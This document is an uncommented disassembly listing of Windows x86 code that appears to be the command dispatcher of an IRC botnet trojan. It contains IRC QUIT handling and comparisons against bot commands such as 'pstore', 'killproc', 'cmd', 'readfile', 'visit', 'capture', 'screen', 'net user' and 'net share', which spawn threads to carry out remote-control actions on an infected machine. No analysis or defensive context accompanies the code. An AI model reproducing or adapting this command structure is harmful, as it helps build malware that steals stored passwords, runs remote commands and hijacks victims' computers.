		push	[ebp+arg_4]
		call	sub_407604
		add	esp, 0Ch
		jmp	short loc_4041D8
; ---------------------------------------------------------------------------


loc_4041C9:				; CODE XREF: sub_401C87+2519j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		pop	ecx
		pop	ecx


loc_4041D8:				; CODE XREF: sub_401C87+251Ej
					; sub_401C87+252Dj ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_4041E0:				; CODE XREF: sub_401C87+1293j
					; sub_401C87+12A8j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	offset dword_438A2C
		call	sub_40F927
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_4075FF
; ---------------------------------------------------------------------------


loc_404202:				; CODE XREF: sub_401C87+1269j
					; sub_401C87+127Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_407604
		push	offset dword_438A60
		call	sub_40F927
		add	esp, 0Ch
		jmp	loc_405845
; ---------------------------------------------------------------------------


loc_404221:				; CODE XREF: sub_401C87+123Fj
					; sub_401C87+1254j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409D2C
		jmp	short loc_40426B
; ---------------------------------------------------------------------------


loc_404234:				; CODE XREF: sub_401C87+1215j
					; sub_401C87+122Aj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409CD8
		jmp	short loc_40426B
; ---------------------------------------------------------------------------


loc_404247:				; CODE XREF: sub_401C87+11EBj
					; sub_401C87+1200j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409C6D
		jmp	short loc_40426B
; ---------------------------------------------------------------------------


loc_40425A:				; CODE XREF: sub_401C87+11C1j
					; sub_401C87+11D6j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_409B9F


loc_40426B:				; CODE XREF: sub_401C87+25ABj
					; sub_401C87+25BEj ...
		add	esp, 0Ch
		jmp	loc_40743C
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_401C87+111Cj
					; sub_401C87+1131j
		push	[ebp+esi+var_90]
		push	27h
		push	offset dword_438A7C
		push	offset dword_438A8C
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_40428B:				; CODE XREF: sub_401C87+10F2j
					; sub_401C87+1107j
		push	[ebp+esi+var_90]
		push	24h
		push	offset dword_438A9C
		push	offset dword_438AA8
		jmp	loc_402C5E
; ---------------------------------------------------------------------------


loc_4042A3:				; CODE XREF: sub_401C87+F98j
					; sub_401C87+FADj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4042C3
		push	esi
		call	sub_417960
		test	ax, ax
		pop	ecx
		jz	short loc_4042C3
		push	esi
		call	sub_417960
		pop	ecx
		jmp	short loc_4042C9
; ---------------------------------------------------------------------------


loc_4042C3:				; CODE XREF: sub_401C87+2625j
					; sub_401C87+2631j
		mov	ax, word_437088


loc_4042C9:				; CODE XREF: sub_401C87+263Aj
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_3B8], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_3A8], eax
		lea	eax, [ebp+var_438]
		push	eax
		mov	[ebp+var_43C], esi
		mov	[ebp+var_3AC], edi
		call	sub_417E80
		movzx	eax, [ebp+var_3B8]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_408882
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_438AB8
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	edi
		push	eax
		push	[ebp+var_8C]
		push	esi
		call	sub_40764A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	6
		push	eax
		call	sub_409663
		add	esp, 30h
		mov	[ebp+var_3B4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_43C]
		push	ebx
		push	eax
		push	offset sub_40CC69
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_3B4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_40439B
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438AE4
		jmp	loc_402213
; ---------------------------------------------------------------------------


loc_404393:				; CODE XREF: sub_401C87+271Aj
		push	32h
		call	dword_4E033C	; Sleep


loc_40439B:				; CODE XREF: sub_401C87+26F9j
		cmp	[ebp+var_3A4], ebx
		jz	short loc_404393
		jmp	loc_40622C
; ---------------------------------------------------------------------------


loc_4043A8:				; CODE XREF: sub_401C87+F44j
					; sub_401C87+F59j ...
		push	edi
		push	offset aSecure_0 ; "secure"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4043D0
		push	edi
		push	offset aSec_0	; "sec"
		call	sub_418A30
		pop	ecx
		mov	[ebp+var_314], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043DA


loc_4043D0:				; CODE XREF: sub_401C87+2730j
		mov	[ebp+var_314], 1


loc_4043DA:				; CODE XREF: sub_401C87+2747j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_398]
		push	80h
		push	eax
		call	sub_417E80
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_314], ebx
		mov	[ebp+var_39C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_310], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30C], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_404421
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_404421:				; CODE XREF: sub_401C87+2793j
		push	eax
		push	offset dword_438B48
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_417E80
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	22h
		push	eax
		call	sub_409663
		add	esp, 1Ch
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_39C]
		push	ebx
		push	eax
		push	offset sub_413F64
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		mov	ecx, [ebp+var_318]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4495B4[ecx], eax
		jnz	short loc_404498
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438B64
		jmp	loc_406DB6
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401C87+2817j
		push	32h
		call	dword_4E033C	; Sleep


loc_404498:				; CODE XREF: sub_401C87+27F6j
		cmp	[ebp+var_308], ebx
		jz	short loc_404490
		jmp	loc_40259F
; ---------------------------------------------------------------------------


loc_4044A5:				; CODE XREF: sub_401C87+F1Aj
					; sub_401C87+F2Fj
		push	offset unk_438BA0
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_4044AF:				; CODE XREF: sub_401C87+EF0j
					; sub_401C87+F05j
		push	offset aModdd	; "Moddd"
		push	offset dword_438C50
		jmp	loc_405E91
; ---------------------------------------------------------------------------


loc_4044BE:				; CODE XREF: sub_401C87+EC6j
					; sub_401C87+EDBj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_40451A
		push	esi
		call	sub_417960
		cmp	eax, ebx
		pop	ecx
		jl	short loc_40450F
		cmp	eax, 3
		jge	short loc_40450F
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	[esi], bl
		jz	short loc_404504
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_438C60
		push	eax
		call	sub_417CB0
		mov	[esi], bl
		jmp	loc_40652C
; ---------------------------------------------------------------------------


loc_404504:				; CODE XREF: sub_401C87+285Fj
		push	eax
		push	offset unk_438C80
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_40450F:				; CODE XREF: sub_401C87+284Bj
					; sub_401C87+2850j
		push	eax
		push	offset unk_438CAC
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_40451A:				; CODE XREF: sub_401C87+2840j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40451F:				; CODE XREF: sub_401C87+28B4j
		push	[ebp+var_94]
		push	edi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404542
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_40451F
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_404542:				; CODE XREF: sub_401C87+28A8j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_438CD8
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_40455C:				; CODE XREF: sub_401C87+E9Cj
					; sub_401C87+EB1j
		push	[ebp+var_90]
		push	offset a332_1	; "332"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4032EB
		call	sub_409826
		push	ebx
		call	dword_4E0328	; ExitProcess


loc_404582:				; CODE XREF: sub_401C87+2909j
		push	32h
		call	dword_4E033C	; Sleep


loc_40458A:				; CODE XREF: sub_401C87+174Aj
		cmp	[ebp+var_12E8],	ebx
		jz	short loc_404582
		jmp	loc_40652F
; ---------------------------------------------------------------------------


loc_404597:				; CODE XREF: sub_401C87+1744j
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset unk_438CFC
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_4045A8:				; CODE XREF: sub_401C87+1685j
		push	edi
		push	offset aPstore	; "pstore"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40588C
		push	edi
		push	offset aPs_0	; "ps"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40588C
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40584C
		push	edi
		push	offset aRin	; "rin"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40584C
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405806
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405806
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057E1
		push	edi
		push	offset aN	; "n"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057E1
		push	edi
		push	offset aJoin	; "join"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057BD
		push	edi
		push	offset aJ	; "j"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057BD
		push	edi
		push	offset aPart_1	; "part"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057A3
		push	edi
		push	offset aPt	; "pt"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4057A3
		push	edi
		push	offset aRaw	; "raw"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40576D
		push	edi
		push	offset aR_0	; "r"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40576D
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4056AD
		push	edi
		push	offset aK	; "k"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4056AD
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055FF
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055FF
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055A4
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055A4
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40558B
		push	edi
		push	offset aPr	; "pr"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40558B
		push	edi
		push	offset aOpen	; "open"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405557
		push	edi
		push	offset aO	; "o"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405557
		push	edi
		push	offset aServer_0 ; "server"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40552E
		push	edi
		push	offset aSe	; "se"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40552E
		push	edi
		push	offset aDns	; "dns"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4054C3
		push	edi
		push	offset aDn	; "dn"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4054C3
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40548D
		push	edi
		push	offset aKp	; "kp"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40548D
		push	edi
		push	offset aKill	; "kill"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40542E
		push	edi
		push	offset aKi	; "ki"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40542E
		push	edi
		push	offset aDelete	; "delete"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4053F6
		push	edi
		push	offset aDel	; "del"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4053F6
		push	edi
		push	offset aGet	; "get"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405314
		push	edi
		push	offset aGt	; "gt"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405314
		push	edi
		push	offset aList	; "list"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4052F5
		push	edi
		push	offset aLi	; "li"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4052F5
		push	edi
		push	offset aVisit	; "visit"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405205
		push	edi
		push	offset aV	; "v"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405205
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40518F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40518F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405139
		push	edi
		push	offset aCm	; "cm"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405139
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4050AE
		push	edi
		push	offset aRf	; "rf"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4050AE
		push	edi
		push	offset aIdent	; "ident"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A43
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A09
		push	2
		call	sub_4098A5
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C8]
		jle	short loc_4049B2
		push	offset dword_438E68
		jmp	loc_40389A
; ---------------------------------------------------------------------------


loc_4049B2:				; CODE XREF: sub_401C87+2D1Fj
		push	offset dword_438E88
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	2
		push	eax
		call	sub_409663
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40E91A
		push	ebx
		push	ebx
		call	dword_4E0340	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4495B4[esi], eax
		jnz	loc_40652F
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		push	offset dword_438EB4
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_404A09:				; CODE XREF: sub_401C87+2D0Dj
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40652F
		push	ebx
		push	2
		call	sub_409858
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_404A39
		push	eax
		push	offset dword_438EEC
		jmp	loc_406520
; ---------------------------------------------------------------------------


loc_404A39:				; CODE XREF: sub_401C87+2DA5j
		push	offset dword_438F24
		jmp	loc_403894
; ---------------------------------------------------------------------------


loc_404A43:				; CODE XREF: sub_401C87+2CF6j
		push	edi
		push	offset aNet	; "net"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404D36
		cmp	dword_4D6734, ebx
		jz	short loc_404A72
		cmp	dword_4D675C, ebx
		jz	short loc_404A72
		push	offset unk_438F48
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_404A72:				; CODE XREF: sub_401C87+2DD7j
					; sub_401C87+2DDFj
		cmp	[ebp+var_C], ebx
		jz	loc_405EA0
		mov	edi, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_404A97
		push	edi
		push	[ebp+var_C]
		call	sub_417E00
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_404A97:				; CODE XREF: sub_401C87+2E00j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B04
		cmp	edi, ebx
		jz	short loc_404AD2
		push	[ebp+arg_0]
		push	3
		call	sub_412280
		push	eax
		push	offset aS_1	; "%s"


loc_404ABE:				; CODE XREF: sub_401C87+2EA0j
					; sub_401C87+2EC5j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 14h
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_404AD2:				; CODE XREF: sub_401C87+2E25j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412527
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_404AFA
		push	offset unk_438F8C
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404AFA:				; CODE XREF: sub_401C87+2E67j
		push	offset unk_438FB0
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404B04:				; CODE XREF: sub_401C87+2E21j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B29
		push	[ebp+arg_0]
		push	4
		call	sub_412280
		push	eax
		push	offset aS_2	; "%s"
		jmp	short loc_404ABE
; ---------------------------------------------------------------------------


loc_404B29:				; CODE XREF: sub_401C87+2E8Ej
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B51
		push	[ebp+arg_0]
		push	5
		call	sub_412280
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_404ABE
; ---------------------------------------------------------------------------


loc_404B51:				; CODE XREF: sub_401C87+2EB3j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B79
		push	[ebp+arg_0]
		push	6
		call	sub_412280
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_404ABE
; ---------------------------------------------------------------------------


loc_404B79:				; CODE XREF: sub_401C87+2EDBj
		push	[ebp+arg_10]
		push	offset aDelete_0 ; "delete"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404BA1
		push	[ebp+arg_0]
		push	1
		call	sub_412280
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_404ABE
; ---------------------------------------------------------------------------


loc_404BA1:				; CODE XREF: sub_401C87+2F03j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404C2C
		cmp	edi, ebx
		jz	short loc_404BF9
		cmp	[ebp+var_968], bl
		jz	short loc_404BD1
		push	ebx
		push	edi
		push	1
		call	sub_412667
		push	eax
		push	offset aS_6	; "%s"
		jmp	short loc_404BE5
; ---------------------------------------------------------------------------


loc_404BD1:				; CODE XREF: sub_401C87+2F37j
		push	[ebp+esi+var_88]
		push	edi
		push	ebx
		call	sub_412667
		push	eax
		push	offset aS_7	; "%s"


loc_404BE5:				; CODE XREF: sub_401C87+2F48j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 18h
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_404BF9:				; CODE XREF: sub_401C87+2F2Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41285C
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_404C22
		push	offset unk_439014
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404C22:				; CODE XREF: sub_401C87+2F8Fj
		push	offset unk_439038
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404C2C:				; CODE XREF: sub_401C87+2F2Bj
		push	[ebp+arg_10]
		push	offset aUser_0	; "user"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404CDD
		cmp	edi, ebx
		jz	short loc_404CAA
		push	[ebp+var_4]
		cmp	[ebp+var_968], bl
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_404C6C
		push	ebx
		push	edi
		push	1
		call	sub_41297D
		push	eax
		push	offset aS_8	; "%s"
		jmp	short loc_404C96
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_401C87+2FD2j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	short loc_404C87
		push	esi
		push	edi
		push	ebx
		call	sub_41297D
		push	eax
		push	offset aS_9	; "%s"
		jmp	short loc_404C96
; ---------------------------------------------------------------------------


loc_404C87:				; CODE XREF: sub_401C87+2FEEj
		push	ebx
		push	edi
		push	2
		call	sub_41297D
		push	eax
		push	offset aS_10	; "%s"


loc_404C96:				; CODE XREF: sub_401C87+2FE3j
					; sub_401C87+2FFEj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_417CB0
		add	esp, 24h
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_404CAA:				; CODE XREF: sub_401C87+2FBEj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412E91
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C8]
		jz	short loc_404CD3
		push	offset unk_43906C
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404CD3:				; CODE XREF: sub_401C87+3040j
		push	offset unk_43908C
		jmp	loc_406FFC
; ---------------------------------------------------------------------------


loc_404CDD:				; CODE XREF: sub_401C87+2FB6j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D2C
		cmp	edi, ebx
		jz	short loc_404D22
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41313B
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset aS_11	; "%s"
		push	eax
		call	sub_417CB0
		add	esp, 1Ch
		jmp	loc_405EA0
; ---------------------------------------------------------------------------


loc_404D22:				; CODE XREF: sub_401C87+306Bj
		push	offset unk_4390B8
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_404D2C:				; CODE XREF: sub_401C87+3067j
		push	offset unk_4390DC
		jmp	loc_406FF6
; ---------------------------------------------------------------------------


loc_404D36:				; CODE XREF: sub_401C87+2DCBj
		push	edi
		push	offset aCapture	; "capture"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404E6A
		push	edi
		push	offset aCap	; "cap"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404E6A
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404D86
		push	edi
		push	offset aGh	; "gh"
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405904


loc_404D86:				; CODE XREF: sub_401C87+30E8j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_417E00
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40743C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404E21
		push	esi
		push	[ebp+var_C]
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		lea	eax, [ebp+var_2C8]
		jz	short loc_404E0F
		push	esi
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2C8]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417760
		push	esi
		lea	eax, [ebp+var_2C8]
		push	[ebp+arg_10]
		push	offset unk_439120
		push	eax
		call	sub_417CB0
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_4051F3
; ---------------------------------------------------------------------------


loc_404E0F:				; CODE XREF: sub_401C87+3134j
		push	offset unk_439148
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		jmp	loc_4051F3
; ---------------------------------------------------------------------------


loc_404E21:				; CODE XREF: sub_401C87+311Dj
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_414A60
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C8]
		push	offset dword_439178
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 24h
		jmp	loc_4051F3
; ---------------------------------------------------------------------------


loc_404E6A:				; CODE XREF: sub_401C87+30BEj
					; sub_401C87+30D3j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EC5
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_404EB2
		push	edi
		call	sub_40FC06
		cmp	eax, 1
		pop	ecx
		lea	eax, [ebp+var_2C8]
		jnz	short loc_404EAB
		push	edi
		push	offset unk_43919C
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		jmp	short loc_404EC5
; ---------------------------------------------------------------------------


loc_404EAB:				; CODE XREF: sub_401C87+3211j
		push	offset unk_4391C8
		jmp	short loc_404EBD
; ---------------------------------------------------------------------------


loc_404EB2:				; CODE XREF: sub_401C87+31FFj
		push	offset unk_4391F8
		lea	eax, [ebp+var_2C8]


loc_404EBD:				; CODE XREF: sub_401C87+3229j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_404EC5:				; CODE XREF: sub_401C87+31F4j
					; sub_401C87+3222j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404F5F
		mov	[ebp+arg_8], ebx
		mov	edi, 0FFh


loc_404EE4:				; CODE XREF: sub_401C87+32C3j
		lea	eax, [ebp+var_11BC]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_1510]
		push	edi
		push	eax
		push	[ebp+arg_8]
		call	dword_4D6698
		test	eax, eax
		jz	short loc_404F43
		lea	eax, [ebp+var_11BC]
		push	eax
		lea	eax, [ebp+var_1510]
		push	eax
		lea	eax, [ebp+var_1D1C]
		push	[ebp+arg_8]
		push	offset unk_43923C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_1D1C]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40764A
		add	esp, 28h


loc_404F43:				; CODE XREF: sub_401C87+327Cj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 0Ah
		jl	short loc_404EE4
		lea	eax, [ebp+var_2C8]
		push	offset unk_439264
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


